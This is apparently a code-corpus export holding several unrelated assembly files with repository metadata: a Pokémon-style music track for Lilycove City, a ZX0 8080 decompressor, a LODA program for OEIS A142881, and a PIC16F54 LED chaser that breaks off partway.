{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'58': 2272}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 32.65
| 2,999
| 0.657439
|
aa89a9141ba1c3e1312ce66f42343bda1ab8ade7
| 13,448
|
asm
|
Assembly
|
audio/music/unused/Radio/Hoenn/Lilycove City.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | 2
|
2022-02-17T11:11:03.000Z
|
2022-02-21T03:41:01.000Z
|
audio/music/unused/Radio/Hoenn/Lilycove City.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
audio/music/unused/Radio/Hoenn/Lilycove City.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
Music_LilycoveCity:
channelcount 3
channel 1, Music_LilycoveCity_Ch1
channel 2, Music_LilycoveCity_Ch2
channel 3, Music_LilycoveCity_Ch3
Music_LilycoveCity_Ch1
tempo $78
dutycycle $2
notetype $c, $53
stereopanning $f
note __, 3
octave 3
note G_, 1
intensity $a3
note F#, 1
note __, 1
note F_, 1
note __, 1
tempo $68
note F#, 4
note __, 4
note G#, 1
note __, 3
note G#, 1
note __, 7
note A#, 1
note __, 3
note A#, 1
note __, 7
note G#, 1
note __, 3
note G#, 1
note __, 3
tempo $78
note __, 3
intensity $53
note G_, 1
intensity $a3
note F#, 1
note __, 1
note F_, 1
note __, 1
note F#, 4
tempo $68
note __, 4
note G#, 1
note __, 3
note G#, 1
note __, 7
note A#, 1
note __, 3
note A#, 1
note __, 6
intensity $53
note A_, 1
intensity $a3
note G#, 1
note __, 1
note G_, 1
note __, 1
note G#, 4
note __, 3
intensity $53
note A_, 1
intensity $a3
note G#, 1
note __, 1
note G_, 1
note __, 1
note G#, 4
note __, 4
stereopanning $f0
intensity $a7
note E_, 1
note __, 1
note D#, 1
note __, 1
note E_, 1
note __, 1
note B_, 1
note __, 1
octave 4
note E_, 1
note __, 2
stereopanning $f
intensity $53
octave 3
note G#, 1
intensity $a3
note G_, 1
note __, 1
note F#, 1
note __, 1
note G_, 4
note __, 4
stereopanning $f0
intensity $a7
note E_, 1
note __, 1
note D#, 1
note __, 1
note E_, 1
note __, 1
note B_, 1
note __, 1
octave 4
note D#, 1
note __, 2
stereopanning $f
intensity $53
octave 3
note G_, 1
intensity $a3
note F#, 1
note __, 1
note F_, 1
note __, 1
note F#, 4
stereopanning $f0
intensity $a7
octave 4
note A#, 2
note F#, 1
note __, 1
note F#, 1
note __, 1
note E_, 1
note __, 1
note D#, 1
note __, 1
note C#, 1
note __, 5
octave 3
note G#, 2
octave 4
note C_, 2
note D#, 2
note G#, 2
octave 5
note C_, 2
octave 4
note G#, 2
note E_, 1
note F#, 1
note E_, 1
note D#, 1
note C_, 2
note C#, 2
note __, 8
note G#, 2
note G_, 2
note A_, 1
note G#, 7
note F#, 2
note E_, 2
note __, 8
note G_, 2
note F#, 2
note G#, 1
note G_, 1
note E_, 2
note D#, 1
note E_, 1
note D#, 1
note C#, 1
note __, 7
; Pat 5 Row 3
stereopanning $f
intensity $53
octave 3
note G_, 1
intensity $a3
note F#, 1
note __, 1
note F_, 1
note __, 1
note F#, 4
note __, 4
note F#, 1
note __, 3
note F#, 1
note __, 6
intensity $53
note B_, 1
intensity $a3
note A#, 1
note __, 1
note A_, 1
note __, 1
note A#, 4
note __, 4
note G#, 1
note __, 3
note G#, 1
note __, 6
intensity $53
note G_, 1
intensity $a3
note F#, 1
note __, 1
note F_, 1
note __, 1
note F#, 4
note __, 4
note F#, 1
note __, 3
note F#, 1
note __, 7
octave 4
note C_, 1
note __, 1
octave 3
note B_, 1
note __, 1
octave 4
note C_, 1
note __, 1
note D#, 1
note __, 5
octave 3
note G#, 1
note __, 3
note G#, 1
note __, 3
tempo $7e
dutycycle $3
intensity $c7
note E_, 4
note F#, 4
tempo $7a
note G#, 4
tempo $6f
note G#, 4
note A#, 4
note B_, 2
octave 4
note C_, 2
tempo $68
note C#, 2
note D#, 2
note E_, 2
note __, 4
note F_, 1
note E_, 1
note D#, 2
note E_, 2
note C#, 2
note D#, 2
octave 3
note B_, 1
octave 4
note C#, 1
octave 3
note B_, 1
note A#, 1
stereopanning $f0
dutycycle $2
intensity $a3
note D#, 2
note B_, 2
octave 4
note D#, 1
note __, 1
note D#, 1
note __, 1
note D#, 1
note D_, 1
note D#, 2
octave 3
note F#, 2
note D#, 2
octave 4
note F#, 1
note __, 1
note F#, 1
note __, 1
note F#, 1
note F_, 1
note F#, 2
note C_, 2
note __, 2
note D#, 2
note __, 2
octave 3
note G#, 2
note __, 2
note B_, 2
note __, 2
note G#, 2
note __, 2
note E_, 2
note D#, 2
stereopanning $f
dutycycle $3
intensity $c7
note E_, 4
note F#, 4
note G#, 4
note G#, 4
note A#, 4
note B_, 2
octave 4
note C_, 2
note C#, 2
note D#, 2
note E_, 2
note __, 4
note D#, 2
note E_, 2
note __, 2
stereopanning $ff
dutycycle $0
intensity $a7
note F_, 1
note __, 3
note F_, 1
note __, 6
stereopanning $f0
dutycycle $3
intensity $c7
octave 3
note C_, 1
octave 2
note B_, 2
note A#, 1
note __, 1
note B_, 1
note __, 1
octave 3
note D#, 1
note __, 1
note G#, 2
note __, 2
note F#, 8
note __, 3
octave 2
note B_, 1
note A#, 2
note A_, 1
note __, 1
note A#, 1
note __, 1
octave 3
note D#, 1
note __, 1
note F#, 2
note __, 2
note E_, 8
note __, 3
octave 2
note A_, 1
note G#, 2
note G_, 1
note __, 1
note G#, 1
note __, 1
octave 3
note C#, 1
note __, 1
note E_, 2
note F#, 2
note E_, 2
note D#, 2
note C#, 2
note C#, 1
note D_, 1
tempo $6d
note D#, 8
tempo $6f
note __, 4
tempo $81
note F#, 4
note E_, 1
note D#, 1
note E_, 1
note F#, 1
note F_, 1
note F#, 1
note G#, 1
note A#, 1
tempo $68
note B_, 12
octave 4
note C#, 2
note D#, 2
note E_, 4
note C#, 2
note B_, 2
note A#, 4
note G#, 2
note F#, 2
note G#, 2
note A#, 2
note D#, 4
note C_, 1
note D_, 1
note C_, 2
octave 3
note G#, 2
octave 4
note G_, 2
note G#, 10
note E_, 2
note C#, 1
note D#, 1
note C#, 2
octave 3
note B_, 2
note __, 2
octave 4
note C#, 2
note E_, 2
tempo $6a
note G_, 4
note E_, 1
note G_, 1
note E_, 2
note D_, 4
tempo $81
note C_, 4
tempo $8d
octave 3
note B_, 4
note A_, 2
note G_, 2
loopchannel 0, Music_LilycoveCity_Ch1
Music_LilycoveCity_Ch2:
dutycycle $1
Music_LilycoveCity_L1
notetype $c, $18
octave 4
note F#, 5
intensity $28
note F#, 3
intensity $38
note F#, 5
intensity $48
note F#, 3
intensity $58
note F#, 5
intensity $68
note F#, 3
intensity $78
note F#, 2
intensity $88
note F#, 2
intensity $98
note F#, 4
intensity $a8
note F#, 4
intensity $98
note F#, 2
intensity $88
note F#, 2
intensity $78
note F#, 2
note E_, 2
intensity $68
note D#, 2
intensity $58
note E_, 2
note F#, 1
intensity $48
note F#, 5
intensity $38
note F#, 6
intensity $48
note F#, 4
intensity $58
note F#, 5
intensity $68
note F#, 3
intensity $78
note F#, 2
intensity $88
note F#, 3
intensity $98
note F#, 4
intensity $a8
note F#, 3
intensity $b7
note D#, 2
note E_, 2
note F#, 2
note E_, 2
setcondition 0
callchannel Music_LilycoveCity_P1
note A#, 8
octave 4
note C#, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 8
note E_, 1
note __, 1
note F#, 2
intensity $78
note D#, 2
intensity $88
note D#, 1
intensity $98
note D#, 3
intensity $a8
note D#, 1
intensity $b8
note D#, 5
intensity $b7
note D#, 4
note F#, 1
note __, 1
note E_, 2
setcondition 1
callchannel Music_LilycoveCity_P1
note A#, 4
note __, 8
note F#, 4
note G#, 4
note A#, 2
octave 4
note C#, 2
note D#, 16
note __, 8
dutycycle $2
intensity $b3
note D#, 2
note __, 2
note E_, 2
note __, 2
note F#, 2
note __, 2
octave 5
note C#, 2
note __, 2
octave 4
note A#, 2
note __, 2
note G#, 2
note __, 2
note F#, 2
note __, 2
note G#, 2
note __, 2
note D#, 2
note __, 2
note F#, 2
note __, 2
note E_, 2
note D#, 2
note E_, 2
note __, 2
dutycycle $1
callchannel Music_LilycoveCity_P2
octave 4
note B_, 2
note A#, 2
note B_, 2
note G#, 2
note A#, 2
note F#, 1
note G#, 1
note F#, 1
note E_, 1
stereopanning $ff
intensity $97
note D#, 2
octave 3
note B_, 2
octave 4
note E_, 2
octave 3
note B_, 2
octave 4
note F#, 2
note D#, 2
octave 5
note C#, 2
note __, 2
octave 4
note A#, 2
note G#, 2
note F#, 2
note D#, 2
note F#, 2
note C_, 2
note G#, 2
note C_, 2
note D#, 2
note C_, 2
note F#, 2
octave 3
note G#, 2
octave 4
note E_, 2
note D#, 2
note E_, 2
octave 3
note G#, 2
callchannel Music_LilycoveCity_P2
note D#, 2
note E_, 2
note __, 2
stereopanning $ff
dutycycle $0
intensity $a7
octave 4
note F#, 1
note __, 3
note F#, 1
note __, 1
dutycycle $1
intensity $b7
note F_, 1
note F#, 1
note G#, 10
octave 3
note B_, 2
note A#, 10
octave 4
note G#, 2
note F#, 10
octave 3
note A#, 2
note B_, 12
octave 4
note E_, 10
octave 3
note B_, 2
note A#, 1
note B_, 1
note A#, 2
note G#, 4
octave 4
note C#, 2
note G#, 2
note F#, 8
note __, 4
octave 3
note A_, 1
note G#, 1
note A_, 1
note B_, 1
octave 4
note C#, 1
octave 3
note B_, 1
octave 4
note C#, 1
note D#, 1
note E_, 1
note D#, 1
note E_, 1
note F#, 1
note G#, 12
note A#, 2
note B_, 2
octave 5
note C#, 4
octave 4
note G#, 2
octave 5
note G#, 2
note F#, 4
note E_, 2
note D#, 2
note E_, 2
note F#, 2
note C_, 4
octave 4
note A_, 1
note B_, 1
note A_, 2
note G#, 2
octave 5
note D#, 2
note E_, 10
octave 4
note B_, 2
note A#, 1
note B_, 1
note A#, 2
note G#, 2
note __, 2
note A#, 2
note __, 2
note B_, 12
note __, 4
note A_, 4
note E_, 4
loopchannel 0, Music_LilycoveCity_L1
Music_LilycoveCity_Ch3:
notetype $c, $11
Music_LilycoveCity_L2:
callchannel Music_LilycoveCity_P3
note __, 3
note F#, 1
note __, 3
callchannel Music_LilycoveCity_P3
note __, 1
note F_, 1
note __, 1
note F#, 4
note E_, 4
note B_, 1
note __, 1
note A#, 1
note __, 1
note B_, 2
note __, 2
octave 2
note B_, 4
octave 3
note B_, 1
note __, 3
note B_, 1
note __, 3
callchannel Music_LilycoveCity_P4
note D#, 4
octave 4
note C#, 1
note __, 1
note C_, 1
note __, 1
note C#, 4
octave 2
note A#, 4
octave 4
note C#, 1
note __, 3
note C#, 1
note __, 3
octave 3
note G#, 4
octave 4
note D#, 1
note __, 1
note D_, 1
note __, 1
note D#, 4
octave 3
note D#, 4
octave 4
note D#, 1
note __, 3
note D#, 1
note __, 3
octave 3
callchannel Music_LilycoveCity_P4
note E_, 4
note B_, 1
note __, 3
note B_, 1
note __, 3
octave 2
note B_, 4
octave 3
note B_, 1
note __, 3
note B_, 1
note __, 3
note D#, 4
octave 4
note C#, 1
note __, 3
note C#, 1
note __, 3
octave 2
note A#, 4
octave 4
note C#, 1
note __, 3
note C#, 1
note __, 3
octave 2
note B_, 4
octave 3
note F#, 1
note __, 3
note F#, 1
note __, 3
octave 2
note B_, 4
octave 3
note F_, 1
note __, 3
note F_, 1
note __, 3
setcondition 0
callchannel Music_LilycoveCity_P5
setcondition 1
callchannel Music_LilycoveCity_P5
intensity $14
setcondition 0
callchannel Music_LilycoveCity_P6
note F#, 1
note __, 1
note F_, 2
note F#, 2
octave 4
note D#, 2
octave 1
note B_, 4
octave 3
note F#, 1
note __, 3
note F#, 1
note __, 3
octave 2
note C_, 4
octave 3
note F#, 1
note __, 1
note F_, 2
note F#, 2
octave 4
note D#, 2
setcondition 1
callchannel Music_LilycoveCity_P6
note G_, 1
note __, 1
note F#, 2
note G_, 2
octave 4
note C_, 2
octave 2
note C_, 4
octave 3
note G_, 1
note __, 3
note G_, 1
note __, 3
octave 2
note C_, 4
intensity $11
note E_, 2
note G_, 2
octave 3
note C_, 2
octave 2
note A_, 2
loopchannel 0, Music_LilycoveCity_L2
Music_LilycoveCity_P1:
octave 3
note A#, 1
note __, 1
note B_, 2
octave 4
note D#, 5
intensity $67
note G_, 1
intensity $b7
note F#, 2
note C#, 2
intensity $67
note C_, 1
octave 3
note B_, 1
note __, 8
intensity $b7
jumpif 1, .part2
note A#, 1
note __, 1
jumpchannel .part3
.part2
note A#, 2
.part3
note B_, 2
octave 4
note D#, 5
intensity $67
note G_, 1
intensity $b7
note F#, 2
note C#, 2
intensity $67
note C_, 1
octave 3
note B_, 1
note __, 8
intensity $b7
jumpif 1, .part4
note B_, 1
note __, 1
jumpchannel .part5
.part4
note B_, 2
.part5
octave 4
note C#, 2
octave 3
endchannel
Music_LilycoveCity_P2:
stereopanning $f0
intensity $c7
note C#, 4
note D#, 4
note E_, 4
note F_, 4
note F#, 4
note G#, 2
note A_, 2
note A#, 2
note B_, 2
octave 5
note C#, 2
note __, 4
endchannel
Music_LilycoveCity_P3:
octave 2
note B_, 4
octave 3
note F#, 1
note __, 1
note F_, 1
note __, 1
note F#, 4
octave 2
note F#, 4
octave 3
note F#, 1
note __, 3
note F#, 1
note __, 3
octave 2
note B_, 4
octave 3
note F#, 1
note __, 3
note F#, 1
note __, 3
octave 2
note F#, 4
octave 3
note F#, 1
endchannel
Music_LilycoveCity_P4:
note E_, 4
note B_, 1
note __, 1
note A#, 1
note __, 1
note B_, 4
octave 2
note B_, 4
octave 3
note B_, 1
note __, 3
note B_, 1
note __, 3
endchannel
Music_LilycoveCity_P5:
octave 2
note B_, 4
octave 3
note F#, 1
note __, 3
note F#, 1
note __, 3
note D#, 4
note A#, 1
note __, 3
note A#, 1
note __, 3
note G#, 4
octave 4
note D#, 1
jumpif 1, .part2
note __, 1
note D_, 1
note __, 1
note D#, 1
note __, 1
note F#, 1
note __, 1
octave 3
note C#, 4
note B_, 1
note __, 3
note B_, 1
note __, 3
jumpchannel .part3
.part2
note __, 3
note D#, 1
note __, 3
octave 3
note C#, 4
note B_, 1
note __, 3
note B_, 1
note __, 3
.part3
note C#, 4
note G#, 1
note __, 3
note G#, 1
note __, 3
note C#, 4
note G#, 1
note __, 3
note G#, 1
note __, 3
note F#, 4
octave 4
note C#, 1
note __, 3
note C#, 1
note __, 3
octave 3
note F#, 4
octave 4
note C#, 1
note __, 3
note C#, 1
note __, 3
endchannel
Music_LilycoveCity_P6:
octave 2
note E_, 4
octave 3
note B_, 1
note __, 3
note B_, 1
note __, 3
octave 2
note E_, 4
octave 3
note A#, 1
note __, 1
note A_, 2
note A#, 2
octave 4
note D#, 2
octave 2
note D#, 4
octave 3
note A#, 1
note __, 3
note A#, 1
note __, 3
octave 2
note D#, 4
octave 3
note A_, 1
note __, 1
note G#, 2
note A_, 2
octave 4
jumpif 1, .part2
note E_, 2
jumpchannel .part3
.part2
note C_, 2
.part3
octave 2
note C#, 4
octave 3
note G#, 1
note __, 3
note G#, 1
note __, 3
octave 2
note C#, 4
octave 3
endchannel
| 12.509767
| 38
| 0.615779
|
e4a1fe4e6bf15df4a2224c4afac0329c32229707
| 2,034
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/compress/zx0/8080/dzx0.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/compress/zx0/8080/dzx0.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/compress/zx0/8080/dzx0.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; -----------------------------------------------------------------------------
; ZX0 8080 decoder by Ivan Gorodetsky
; Based on ZX0 z80 decoder by Einar Saukas
; v1 (2021-02-15) - 103 bytes forward / 100 bytes backward
; v2 (2021-02-17) - 101 bytes forward / 100 bytes backward
; v3 (2021-02-22) - 99 bytes forward / 98 bytes backward
; v4 (2021-02-23) - 98 bytes forward / 97 bytes backward
; -----------------------------------------------------------------------------
; Parameters (forward):
; HL: source address (compressed data)
; BC: destination address (decompressing)
;
; Parameters (backward):
; HL: last source address (compressed data)
; BC: last destination address (decompressing)
; -----------------------------------------------------------------------------
;#define BACKWARD
dzx0_standard:
IF BACKWARD
lxi d,1
push d
dcr e
ELSE
lxi d,0FFFFh
push d
inx d
ENDIF
mvi a,080h
dzx0s_literals:
call dzx0s_elias
call ldir
add a
jc dzx0s_new_offset
call dzx0s_elias
dzx0s_copy:
xthl
push h
dad b
call ldir
pop h
xthl
add a
jnc dzx0s_literals
dzx0s_new_offset:
call dzx0s_elias
IF BACKWARD
inx sp
inx sp
dcr d
rz
dcr e
mov d,e
ELSE
mov d,a
pop psw
xra a
sub e
rz
mov e,d
mov d,a
mov a,e
ENDIF
push b
mov b,a
mov a,d
rar
mov d,a
mov a,m
rar
mov e,a
mov a,b
pop b
IF BACKWARD
dcx h
ELSE
inx h
ENDIF
IF BACKWARD
inx d
ENDIF
push d
lxi d,1
IF BACKWARD
cc dzx0s_elias_backtrack
ELSE
cnc dzx0s_elias_backtrack
ENDIF
inx d
jmp dzx0s_copy
dzx0s_elias:
inr e
dzx0s_elias_loop:
add a
jnz dzx0s_elias_skip
mov a,m
IF BACKWARD
dcx h
ELSE
inx h
ENDIF
ral
dzx0s_elias_skip:
IF BACKWARD
rnc
ELSE
rc
ENDIF
dzx0s_elias_backtrack:
xchg
dad h
xchg
add a
jnc dzx0s_elias_loop
inr e
jmp dzx0s_elias_loop
ldir:
push psw
ldir_loop:
mov a,m
stax b
IF BACKWARD
dcx h
dcx b
ELSE
inx h
inx b
ENDIF
dcx d
mov a,d
ora e
jnz ldir_loop
pop psw
ret
.end
| 14.528571
| 79
| 0.597837
|
291faa345bb2591e49e6c6b258669ae2436b5ea8
| 778
|
asm
|
Assembly
|
oeis/142/A142881.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/142/A142881.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/142/A142881.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A142881: a(0) = 0, a(1) = 1, after which, if n=3k: a(n) = 2*a(n-1) - a(n-2), if n=3k+1: a(n) = a(n-1) + a(n-2), if n=3k+2: a(n) = 2*a(n-1) + a(n-2).
; Submitted by Jamie Morken(s1)
; 0,1,2,3,5,13,21,34,89,144,233,610,987,1597,4181,6765,10946,28657,46368,75025,196418,317811,514229,1346269,2178309,3524578,9227465,14930352,24157817,63245986,102334155,165580141,433494437,701408733,1134903170,2971215073,4807526976,7778742049,20365011074,32951280099,53316291173,139583862445,225851433717,365435296162,956722026041,1548008755920,2504730781961,6557470319842,10610209857723,17167680177565,44945570212853,72723460248141,117669030460994,308061521170129,498454011879264,806515533049393
mul $0,4
mov $3,1
lpb $0
trn $0,4
add $0,1
mov $2,$1
mov $1,$3
add $3,$2
lpe
mov $0,$1
| 51.866667
| 496
| 0.74036
|
355b2f73776c0b7cf12cbfc6f8ba7d076ba3d04f
| 5,020
|
asm
|
Assembly
|
pic16f54_chaser.X/main.asm
|
jblang/pic16f54_chaser
|
ac321b6782bbc5419a3339e9c8e3da926135c4cc
|
[
"Unlicense"
] | null | null | null |
pic16f54_chaser.X/main.asm
|
jblang/pic16f54_chaser
|
ac321b6782bbc5419a3339e9c8e3da926135c4cc
|
[
"Unlicense"
] | null | null | null |
pic16f54_chaser.X/main.asm
|
jblang/pic16f54_chaser
|
ac321b6782bbc5419a3339e9c8e3da926135c4cc
|
[
"Unlicense"
] | null | null | null |
; LED Chaser for PIC16F54
; Copyright 2021 J.B. Langston
;
; Permission is hereby granted, free of charge, to any person obtaining a
; copy of this software and associated documentation files (the "Software"),
; to deal in the Software without restriction, including without limitation
; the rights to use, copy, modify, merge, publish, distribute, sublicense,
; and/or sell copies of the Software, and to permit persons to whom the
; Software is furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in
; all copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
; FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
; DEALINGS IN THE SOFTWARE.
PROCESSOR 16F54
#include <xc.inc>
; Configuration
CONFIG OSC = RC ; Oscillator selection (RC, LP, XT, or HS)
CONFIG WDT = OFF ; Watchdog timer enable
CONFIG CP = OFF ; Code protection
; RAM
PSECT MainData,class=RAM,space=1,delta=1,noexec
wait1: DS 1 ; wait counters used by delay loops
wait2: DS 1
delay: DS 1 ; starting value for outer wait counter
times: DS 1 ; number of times to run an effect
a1: DS 1 ; working registers for PORTA
a2: DS 1
b1: DS 1 ; working registers for PORTB
b2: DS 1
; STATUS bits
C EQU 0
Z EQU 2
; Reset Vector
PSECT resetVec,class=CODE,delta=2
resetVec:
goto main
; Start of code
PSECT startCode,class=CODE,delta=2
main:
movlw 0 ; all outputs
tris PORTA
tris PORTB
movlw 16 ; fill and drain
movwf delay
movlw 2
movwf times
clrf a2
clrf b2
call fill
movlw 32 ; classic cylon
movwf delay
movlw 00000001B
movwf b1
movlw 0000B
clrf b2
clrf a2
movlw 8
movwf times
call shift
movlw 00000011B ; ambidextrous cylon
movwf b1
movlw 1100B
movwf a2
clrf b2
clrf a1
movlw 8
movwf times
call shift
movlw 64 ; march two by two left/right
movwf delay
movlw 11001100B
movwf b1
movlw 1100B
movwf a1
clrf b2
clrf a2
movlw 32
movwf times
call shift
goto main
; Note: left/right is from the numerical perspective of the bits
; not necessarily from the physical orientation of the LEDs
; slide LEDs in from one direction until display is full,
; then slide them out the other direction
fill:
rrf a2 ; Rotate another full LED into A2/B2
rrf b2
clrf a1 ; Initialize single sliding LED in A1/B1
clrf b1
bsf b1, 0
fill1:
call display
bcf STATUS, C
rlf b1 ; slide the single LED in A1/B1 left
rlf a1
movf a1, W ; exit inner loop once slider has hit the full LEDs
andwf a2, W
btfss STATUS, Z
goto fill2
movf b1, W
andwf b2, W
btfss STATUS, Z
goto fill2
btfss a1, 4 ; exit inner loop once slider hits last LED
goto fill1
fill2:
bsf a2, 4 ; prepare another full LED to rotate in
btfss b2, 0
goto fill
bcf a2, 4
drain:
movf a2, W ; Rotate out a full LED and calculate the starting
